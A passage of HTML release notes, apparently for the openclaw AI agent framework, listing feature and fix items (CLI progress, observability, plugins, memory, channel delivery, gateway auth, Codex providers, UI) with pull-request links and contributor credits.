<li>CLI progress: emit Claude CLI commentary progress events and bridge inter-tool commentary into channel progress without exposing internal protocol scaffolding. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580033834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89834" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89834/hovercard" href="https://github.com/openclaw/openclaw/pull/89834">#89834</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602649816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90883" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90883/hovercard" href="https://github.com/openclaw/openclaw/pull/90883">#90883</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anagnorisis2peripeteia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anagnorisis2peripeteia">@anagnorisis2peripeteia</a>.</li>
<li>Observability: allow trusted diagnostics channels to capture tool input/output content, add first-assistant-event traces, and warn on slow initial replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608878744" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91256" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91256/hovercard" href="https://github.com/openclaw/openclaw/pull/91256">#91256</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618302216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91568/hovercard" href="https://github.com/openclaw/openclaw/pull/91568">#91568</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618482026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91583" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91583/hovercard" href="https://github.com/openclaw/openclaw/pull/91583">#91583</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugins/ClawHub: dogfood reusable package publishing, let dry runs skip publish approval, allow declared installed trusted hooks, report managed plugin version drift, and warn instead of failing on retired Skill Workshop configuration. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618359661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91574" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91574/hovercard" href="https://github.com/openclaw/openclaw/pull/91574">#91574</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618649289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91591" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91591/hovercard" href="https://github.com/openclaw/openclaw/pull/91591">#91591</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583505020" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90004/hovercard" href="https://github.com/openclaw/openclaw/pull/90004">#90004</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4603423826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90927" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90927/hovercard" href="https://github.com/openclaw/openclaw/pull/90927">#90927</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601779229" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90838" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90838/hovercard" href="https://github.com/openclaw/openclaw/pull/90838">#90838</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lonexreb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lonexreb">@lonexreb</a>.</li>
<li>Memory/providers: move the local llama.cpp runtime into its provider plugin, batch embeddings across files, persist the agent model catalog cache, and keep QMD JSON search one-shot while filtering stale REM recall previews. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610059597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91324/hovercard" href="https://github.com/openclaw/openclaw/pull/91324">#91324</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564601046" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89138" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89138/hovercard" href="https://github.com/openclaw/openclaw/pull/89138">#89138</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591915527" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90457" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90457/hovercard" href="https://github.com/openclaw/openclaw/pull/90457">#90457</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628009554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91837/hovercard" href="https://github.com/openclaw/openclaw/pull/91837">#91837</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628349834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91851/hovercard" href="https://github.com/openclaw/openclaw/pull/91851">#91851</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Channels/mobile: add the QQBot group mention toggle, improve iPad and iPhone control surfaces, and expose the active connection host in the TUI footer. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613071091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91423" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91423/hovercard" href="https://github.com/openclaw/openclaw/pull/91423">#91423</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618183754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91557/hovercard" href="https://github.com/openclaw/openclaw/pull/91557">#91557</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581413214" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89909/hovercard" href="https://github.com/openclaw/openclaw/pull/89909">#89909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cxyhhhhh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cxyhhhhh">@cxyhhhhh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baskduf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baskduf">@baskduf</a>.</li>
<li>Performance: prewarm TUI runtime plugins, deduplicate plugin auto-enable fanout, trim dense text-delta snapshots, and reuse prepared startup model metadata. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600821830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90782" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90782/hovercard" href="https://github.com/openclaw/openclaw/pull/90782">#90782</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582814264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89978" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89978/hovercard" href="https://github.com/openclaw/openclaw/pull/89978">#89978</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618424780" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91580" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91580/hovercard" href="https://github.com/openclaw/openclaw/pull/91580">#91580</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617731191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91531" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91531/hovercard" href="https://github.com/openclaw/openclaw/pull/91531">#91531</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agent/session recovery: drop stale approval follow-ups after session rebind, remove drained reply-queue items by identity, recover stale main and visible replies, preserve Codex context-engine compaction ownership, lower the default compaction timeout to 180 seconds while respecting explicit configuration, and keep provider-failure terminal lifecycle state correct. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507585384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85679" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85679/hovercard" href="https://github.com/openclaw/openclaw/pull/85679">#85679</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614000904" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91450" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91450/hovercard" href="https://github.com/openclaw/openclaw/pull/91450">#91450</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618289361" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91566" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91566/hovercard" href="https://github.com/openclaw/openclaw/pull/91566">#91566</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628110210" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91840" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91840/hovercard" href="https://github.com/openclaw/openclaw/pull/91840">#91840</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618632675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91590/hovercard" href="https://github.com/openclaw/openclaw/pull/91590">#91590</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4611247613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91361/hovercard" href="https://github.com/openclaw/openclaw/pull/91361">#91361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629399283" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91895" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91895/hovercard" href="https://github.com/openclaw/openclaw/pull/91895">#91895</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wangmiao0668000666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wangmiao0668000666">@wangmiao0668000666</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>User-visible content boundaries: suppress Codex/Harmony protocol artifacts, neutralize browser and LanceDB memory media directives, redact transcript images, and preserve native <code>/compact</code> replies through source suppression. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564821346" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89151" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89151/hovercard" href="https://github.com/openclaw/openclaw/pull/89151">#89151</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613069577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91422" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91422/hovercard" href="https://github.com/openclaw/openclaw/pull/91422">#91422</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613089160" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91425" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91425/hovercard" href="https://github.com/openclaw/openclaw/pull/91425">#91425</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617660755" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91529/hovercard" href="https://github.com/openclaw/openclaw/pull/91529">#91529</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586645610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90212" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90212/hovercard" href="https://github.com/openclaw/openclaw/pull/90212">#90212</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelnishanth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelnishanth">@joelnishanth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snowzlm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snowzlm">@snowzlm</a>.</li>
<li>Channel delivery: keep WhatsApp captured replies attached to the successor controller after restart, retry Feishu rate limits, preserve Mattermost thread replies, canonicalize LINE webhook paths, restore Discord reply hydration and runtime timeout exports, and show OpenAI Realtime WebRTC assistant transcripts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509509203" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85823" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85823/hovercard" href="https://github.com/openclaw/openclaw/pull/85823">#85823</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576335864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89659" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89659/hovercard" href="https://github.com/openclaw/openclaw/pull/89659">#89659</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621341761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91684" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91684/hovercard" href="https://github.com/openclaw/openclaw/pull/91684">#91684</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619644144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91649/hovercard" href="https://github.com/openclaw/openclaw/pull/91649">#91649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587303092" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90263/hovercard" href="https://github.com/openclaw/openclaw/pull/90263">#90263</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621560168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91686" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91686/hovercard" href="https://github.com/openclaw/openclaw/pull/91686">#91686</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590741806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90426" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90426/hovercard" href="https://github.com/openclaw/openclaw/pull/90426">#90426</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsuzef/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsuzef">@itsuzef</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ladygege/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ladygege">@ladygege</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jacobtomlinson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jacobtomlinson">@jacobtomlinson</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shushushv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shushushv">@shushushv</a>.</li>
<li>Cron: cancel active task runs cleanly, preserve terminal timeout/cancel state, and recover no-deliver tool warnings instead of silently losing the outcome. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596967124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90666" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90666/hovercard" href="https://github.com/openclaw/openclaw/pull/90666">#90666</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597362149" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90678/hovercard" href="https://github.com/openclaw/openclaw/pull/90678">#90678</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Gateway/config/auth: share the approval runtime socket token, replace arrays explicitly in <code>config.patch</code>, skip the deleted-agent guard only for valid ACP harness sessions, surface headless LaunchAgent state, verify SQLite auth migration before cleanup, and arm QMD startup maintenance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528737600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87105/hovercard" href="https://github.com/openclaw/openclaw/pull/87105">#87105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618042551" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91551" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91551/hovercard" href="https://github.com/openclaw/openclaw/pull/91551">#91551</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608178452" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91219/hovercard" href="https://github.com/openclaw/openclaw/pull/91219">#91219</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618959440" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91614/hovercard" href="https://github.com/openclaw/openclaw/pull/91614">#91614</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624009488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91740" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91740/hovercard" href="https://github.com/openclaw/openclaw/pull/91740">#91740</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632864961" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91978" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91978/hovercard" href="https://github.com/openclaw/openclaw/pull/91978">#91978</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotthuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotthuang">@scotthuang</a>.</li>
<li>Providers/Codex: clarify quota errors, restore the Codex synthetic usage line, canonicalize Codex protocol assets, require API-key auth for realtime voice, normalize ACP model refs, preserve Gemma 4 <code>reasoning_content</code>, and avoid guardian review for local models. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4611942539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91390" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91390/hovercard" href="https://github.com/openclaw/openclaw/pull/91390">#91390</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4622400615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91709/hovercard" href="https://github.com/openclaw/openclaw/pull/91709">#91709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616624291" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91507" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91507/hovercard" href="https://github.com/openclaw/openclaw/pull/91507">#91507</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618301679" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91567" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91567/hovercard" href="https://github.com/openclaw/openclaw/pull/91567">#91567</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88630" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88630/hovercard" href="https://github.com/openclaw/openclaw/pull/88630">#88630</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621950560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91696" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91696/hovercard" href="https://github.com/openclaw/openclaw/pull/91696">#91696</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Coder-Wangyankun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Coder-Wangyankun">@Coder-Wangyankun</a>.</li>
<li>Updates/builds: recover package Gateway restarts after refresh failure, expose plugin convergence repair, fall back to Corepack in PATH-less pnpm environments, seed the correct Docker store packages, and keep ClawHub dry-run and publish paths reusable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618433631" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91581" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91581/hovercard" href="https://github.com/openclaw/openclaw/pull/91581">#91581</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618691263" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91599" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91599/hovercard" href="https://github.com/openclaw/openclaw/pull/91599">#91599</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618008262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91547" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91547/hovercard" href="https://github.com/openclaw/openclaw/pull/91547">#91547</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618649289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91591" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91591/hovercard" href="https://github.com/openclaw/openclaw/pull/91591">#91591</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>.</li>
<li>UI: require explicit user intent before opening chat sessions and drain restored chat queues after session switches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615202659" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91480/hovercard" href="https://github.com/openclaw/openclaw/pull/91480">#91480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Android: avoid the <code>dataSync</code> foreground-service type for persistent nodes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414554597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80082" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80082/hovercard" href="https://github.com/openclaw/openclaw/pull/80082">#80082</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davelutztx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davelutztx">@davelutztx</a>.</li>
